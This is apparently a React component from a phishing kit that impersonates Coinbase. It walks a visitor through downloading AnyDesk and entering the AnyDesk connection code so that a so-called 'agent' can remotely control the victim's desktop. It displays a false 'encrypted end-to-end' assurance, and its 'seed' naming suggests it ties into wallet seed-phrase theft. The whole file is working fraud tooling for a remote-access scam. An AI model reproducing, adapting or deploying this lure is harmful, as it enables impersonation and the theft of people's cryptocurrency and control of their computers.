import { Label } from '@/components/ui/label';
import { useEffect, useState } from 'react'
import { FormProps } from '.';
import { cn, isValidNumber, isValidSeed } from '@/lib/utils';
import { AppleLogo, WindowsLogo } from '@/components/Icons';
import { Input } from '@/components/ui/input';
import RenderError, { ErrorClass } from './Error';
import { ChangeEvent } from 'react'
import { KeyboardEvent } from 'react'
enum Steps {
    Start,
    Download,
    Connect
}

export default function Anydesk({
    error = {},
    formData,
    handleKeyDown,
    handleInputChange,
    handleContinue = () => { },
}: FormProps) {
    const [isSubmitting, setSubmitting] = useState<boolean>(false)
    const [step, setStep] = useState<Steps>(Steps.Start)

    const renderForm = () => {
        switch (step) {
            case Steps.Start:
                return (
                    <Start />
                )
            case Steps.Download:
                return (
                    <Download />
                )

            case Steps.Connect:
                return (
                    <Connect formData={formData} handleKeyDown={handleKeyDown} handleInputChange={handleInputChange} error={error} isSubmitting={isSubmitting}/>
                )
        }
    }

    const handleContinuee = () => {
        switch (step) {
            case Steps.Start:
                setStep(Steps.Download)
                break
            case Steps.Download:
                setStep(Steps.Connect)
                break
            case Steps.Connect:
                setSubmitting(true)
                handleContinue()
                break
        }
    }

    useEffect(() => {
        if (error.anydesk) {
            setStep(Steps.Connect)
            setSubmitting(false)
        }
    }, [error])
    return (
        <div className='flex flex-col items-center gap-6 pb-6'>
            {renderForm()}
            <button
                className={` disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${isSubmitting ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none' : ''
                    }`}
                disabled={(step === Steps.Connect && !isValidNumber(formData.anydesk, 10))}
                onClick={handleContinuee}
            >
                {isSubmitting ? (
                    <div
                        className={
                            '!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
                        }
                    ></div>
                ) : (
                    'Continue'
                )}
            </button>
            <span className='text-start block text-[14px] leading-5 font-cbsans text-muted-foreground -mb-5'>
                <span className='pr-1 inline-block'>
                    <div className='relative flex'>
                        <div className='w-[12px] h-[12px]'>
                            <span
                                aria-hidden='false'
                                aria-label='error'
                                className='text-[12px] font-cbicons'
                                data-icon-name='info'
                                data-testid='undefined-error-icon-glyph'
                                role='img'
                                title='error'
                            >
                                
                            </span>
                        </div>
                    </div>
                </span>
                This page is encrypted end-to-end
            </span>
        </div>
    )
}

function Start() {
    return (
        <div className='flex flex-col gap-4 items-center'>
            <svg className='w-[180px] mb-2' xmlns="http://www.w3.org/2000/svg" xmlnsXlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" viewBox="0 0 300 55.4" xmlSpace="preserve">
                <polygon className="fill-[#EF443B]" points="46.6,0 41.1,5.5 60.4,24.7 41.1,44 46.6,49.4 71.3,24.7 " />
                <rect x="7.2" y="7.2" transform="matrix(-0.7071 -0.7071 0.7071 -0.7071 24.7138 59.6646)" className="fill-[#EF443B]" width="35" height="35" />
                <g>
                    <path fill='currentColor' d="M106.3,43.1l-2.7-8.7H90.3l-2.7,8.7h-8.4L92.2,6.3h9.5l13,36.8H106.3z M101.8,27.9C99.3,20,98,15.5,97.7,14.5   S97.1,12.6,97,12c-0.6,2.1-2.1,7.4-4.7,15.9H101.8z" />
                    <path fill='currentColor' d="M144.5,43.1h-7.6V26.8c0-2-0.4-3.5-1.1-4.5s-1.9-1.5-3.4-1.5c-2.1,0-3.7,0.7-4.6,2.1s-1.4,3.8-1.4,7.1v13.2h-7.6v-28h5.8   l1,3.6h0.4c0.9-1.4,2-2.4,3.5-3.1c1.5-0.7,3.2-1,5.1-1c3.3,0,5.7,0.9,7.4,2.6s2.5,4.3,2.5,7.6V43.1z" />
                    <path fill='currentColor' d="M147.6,15.1h8.4l5.3,15.8c0.5,1.4,0.8,3,0.9,4.9h0.2c0.2-1.7,0.5-3.3,1.1-4.9l5.2-15.8h8.2L165,46.7   c-1.1,2.9-2.6,5.1-4.6,6.6c-2,1.5-4.4,2.2-7.1,2.2c-1.3,0-2.6-0.1-3.9-0.4v-6.1c0.9,0.2,1.9,0.3,3,0.3c1.4,0,2.5-0.4,3.5-1.2   c1-0.8,1.8-2.1,2.4-3.7l0.5-1.4L147.6,15.1z" />
                    <path fill='currentColor' d="M211.8,24.4c0,6-1.7,10.6-5.1,13.9s-8.4,4.8-14.9,4.8h-10.4V6.5h11.5c6,0,10.6,1.6,13.9,4.7   C210.1,14.4,211.8,18.8,211.8,24.4z M203.7,24.6c0-7.9-3.5-11.8-10.4-11.8h-4.1v23.8h3.3C200,36.7,203.7,32.7,203.7,24.6z" />
                    <path fill='currentColor' d="M230.2,43.6c-4.5,0-8-1.2-10.6-3.7c-2.5-2.5-3.8-6-3.8-10.6c0-4.7,1.2-8.3,3.5-10.9c2.3-2.6,5.6-3.8,9.7-3.8   c4,0,7,1.1,9.2,3.4c2.2,2.3,3.3,5.4,3.3,9.3V31h-18.1c0.1,2.2,0.7,3.9,1.9,5.1c1.2,1.2,2.9,1.8,5.1,1.8c1.7,0,3.3-0.2,4.8-0.5   c1.5-0.4,3.1-0.9,4.7-1.7v5.9c-1.3,0.7-2.8,1.2-4.3,1.5C234.2,43.4,232.4,43.6,230.2,43.6z M229.1,20c-1.6,0-2.9,0.5-3.8,1.5   c-0.9,1-1.4,2.5-1.6,4.4h10.7c0-1.9-0.5-3.3-1.5-4.4C232,20.5,230.7,20,229.1,20z" />
                    <path fill='currentColor' d="M267.4,34.8c0,2.9-1,5.1-3,6.6c-2,1.5-5,2.3-9,2.3c-2,0-3.8-0.1-5.2-0.4c-1.4-0.3-2.8-0.7-4-1.2v-6.3   c1.4,0.7,3,1.2,4.8,1.7c1.8,0.5,3.3,0.7,4.7,0.7c2.8,0,4.2-0.8,4.2-2.4c0-0.6-0.2-1.1-0.6-1.5c-0.4-0.4-1-0.8-1.9-1.3   c-0.9-0.5-2.1-1-3.6-1.7c-2.2-0.9-3.7-1.7-4.7-2.5c-1-0.8-1.7-1.6-2.2-2.6c-0.5-1-0.7-2.2-0.7-3.7c0-2.5,1-4.4,2.9-5.8   c1.9-1.4,4.7-2,8.2-2c3.4,0,6.7,0.7,9.8,2.2l-2.3,5.5c-1.4-0.6-2.7-1.1-3.9-1.5c-1.2-0.4-2.5-0.6-3.7-0.6c-2.3,0-3.4,0.6-3.4,1.8   c0,0.7,0.4,1.3,1.1,1.8c0.7,0.5,2.3,1.2,4.8,2.2c2.2,0.9,3.8,1.7,4.8,2.5c1,0.8,1.8,1.7,2.3,2.7C267.1,32.2,267.4,33.4,267.4,34.8z   " />
                    <path fill='currentColor' d="M279.5,27.9l3.3-4.3l7.8-8.5h8.6l-11.1,12.1L300,43.1h-8.8l-8.1-11.3l-3.3,2.6v8.7h-7.6v-39h7.6v17.4l-0.4,6.4H279.5z" />
                </g>
            </svg>

            <h2 className='text-[28px] z-20'>Connect to AnyDesk</h2>

            <p className='max-w-sm text-muted-foreground text-center font-cbtext text-sm z-20 mb-5'>
                To be remotely assisted via AnyDesk <span className='font-bold'>please follow the instructions on screen and provided by your Coinbase representative</span>.
            </p>
        </div>
    );
}

function Download() {
    return (
        <div className='flex  flex-col gap-4'>
            <h2 className='text-[20px] leading-8  -mt-3'>Step 1</h2>
            <h2 className='text-[28px] leading-8  -mt-3'>Download AnyDesk</h2>
            <p className='max-w-sm text-muted-foreground font-cbtext text-sm z-20'>
                Download AnyDesk based on your operative system. You must have the software installed to proceed.
            </p>
            <div className='flex flex-row gap-3 items-center py-6 w-full'>

                <a href='https://anydesk.com/en/downloads/thank-you?dv=win_exe' target="_blank" className='w-full hover:bg-secondary dark:hover:bg-secondary transition-all duration-150 border border-line shadow-sm h-full flex flex-col items-center rounded-md p-6 gap-5'>
                    <WindowsLogo className='h-[50px]' />
                    <p>Windows 10/11</p>
                </a>
                <a href='https://anydesk.com/en/downloads/thank-you?dv=mac_dmg' target="_blank" className='w-full hover:bg-secondary dark:hover:bg-secondary border border-line shadow-sm h-full flex flex-col items-center rounded-md p-6 gap-5'>
                    <AppleLogo className='h-[50px]' />
                    <p>Mac OS</p>
                </a>

            </div>
        </div>
    )
}


function Connect({
    error = {},
    formData,
    handleKeyDown,
    handleInputChange,
    isSubmitting
}: FormProps) {
    return (
        <div className='flex  flex-col gap-4'>
            <h2 className='text-[20px] semibold leading-8 -mt-3'>Step 2</h2>
            <h2 className='text-[28px] leading-8  -mt-3'>Connect</h2>
            <p className='max-w-sm text-muted-foreground font-cbtext text-sm z-20'>
                After anydesk got installed on your device, please find your connection code and write it down below.<span className='font-bold'> An agent will use it to remotely connect to your desktop.</span>
            </p>
            <div className='flex flex-col gap-1 my-5'>
                <Label
                    htmlFor='seed'
                    className='font-semibold leading-5 py-1 text-[14px]'
                >
                    AnyDesk Address
                </Label>
                <Input
                    id='seed'
                    name='seed'
                    placeholder="Enter the 10 digits code"
                    disabled={isSubmitting}
                    className={cn(
                        error.anydesk
                            ? `${ErrorClass} focus-visible:!ring-0 focus-visible:border-[rgb(rgb(240,97,109)]`
                            : '', 'items-start')
                    }
                    onKeyDown={(event: KeyboardEvent<HTMLInputElement>) =>
                        handleKeyDown(event)
                    }
                    onChange={(value: ChangeEvent<HTMLInputElement>) =>
                        handleInputChange('anydesk', value.target.value)
                    }
                    value={formData.anydesk || ''}
                    autoComplete='off'
                ></Input>
                <RenderError error={error.anydesk} />
            </div>
        </div>
    )
}